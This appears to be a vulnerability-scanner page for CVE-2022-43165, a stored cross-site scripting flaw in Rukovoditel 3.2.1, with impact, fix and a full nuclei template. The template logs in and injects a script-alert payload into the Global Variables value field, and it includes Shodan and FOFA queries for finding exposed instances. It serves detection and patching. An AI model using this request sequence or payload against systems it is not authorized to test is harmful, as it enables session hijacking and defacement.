Rukovoditel <= 3.2.1 - Cross Site Scripting

mediumseverity

5.4CVSS score

1.1%likelihood of exploitation, next 30 days

66%of all CVEs are less likely

Readycheck to confirm it

A stored cross-site scripting (XSS) vulnerability in the Global Variables feature (/index.php?module=global_vars/vars) of Rukovoditel v3.2.1 allows authenticated attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the Value parameter after clicking "Create".

Impact

Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, leading to potential data theft, session hijacking, or defacement of the affected application.

Fix

Upgrade Rukovoditel to a version higher than 3.2.1 or apply the vendor-provided patch to mitigate the XSS vulnerability.

How to confirm it

Send: GET /index.php?module=users/login ; POST /index.php?module=users/login&action=login ; POST /index.php?module=global_vars/vars&action=save&token={{nonce}}
Positive when: status_code_3 == 200 and contains(content_type_3, "text/html") and contains(body_3, "<script>alert(document.domain)</script>") and contains(body_3, "rukovoditel")

Run it with nuclei: nuclei -id CVE-2022-43165 -u <target>

The full check

id: CVE-2022-43165

info:
  name: Rukovoditel <= 3.2.1 - Cross Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    A stored cross-site scripting (XSS) vulnerability in the Global Variables feature (/index.php?module=global_vars/vars) of Rukovoditel v3.2.1 allows authenticated attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the Value parameter after clicking "Create".
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, leading to potential data theft, session hijacking, or defacement of the affected application.
  remediation: |
    Upgrade Rukovoditel to a version higher than 3.2.1 or apply the vendor-provided patch to mitigate the XSS vulnerability.
  reference:
    - https://github.com/anhdq201/rukovoditel/issues/5
    - http://rukovoditel.com/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-43165
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2022-43165
    cwe-id: CWE-79
    epss-score: 0.01095
    epss-percentile: 0.65805
    cpe: cpe:2.3:a:rukovoditel:rukovoditel:3.2.1:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: rukovoditel
    product: rukovoditel
    shodan-query: http.favicon.hash:-1499940355
    fofa-query: icon_hash=-1499940355
  tags: cve,cve2022,rukovoditel,stored-xss,xss,authenticated,vuln

http:
  - raw:
      - |
        GET /index.php?module=users/login HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /index.php?module=users/login&action=login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        form_session_token={{nonce}}&username={{username}}&password={{password}}
      - |
        POST /index.php?module=global_vars/vars&action=save&token={{nonce}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        form_session_token={{nonce}}&is_folder=0&name=1&value=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&notes=&sort_order=

    redirects: true
    max-redirects: 2
    matchers:
      - type: dsl
        dsl:
          - 'status_code_3 == 200'
          - 'contains(content_type_3, "text/html")'
          - 'contains(body_3, "<script>alert(document.domain)</script>")'
          - 'contains(body_3, "rukovoditel")'
        condition: and

    extractors:
      - type: regex
        name: nonce
        group: 1
        regex:
          - 'id="form_session_token" value="(.*)" type="hidden"'
        internal: true

References

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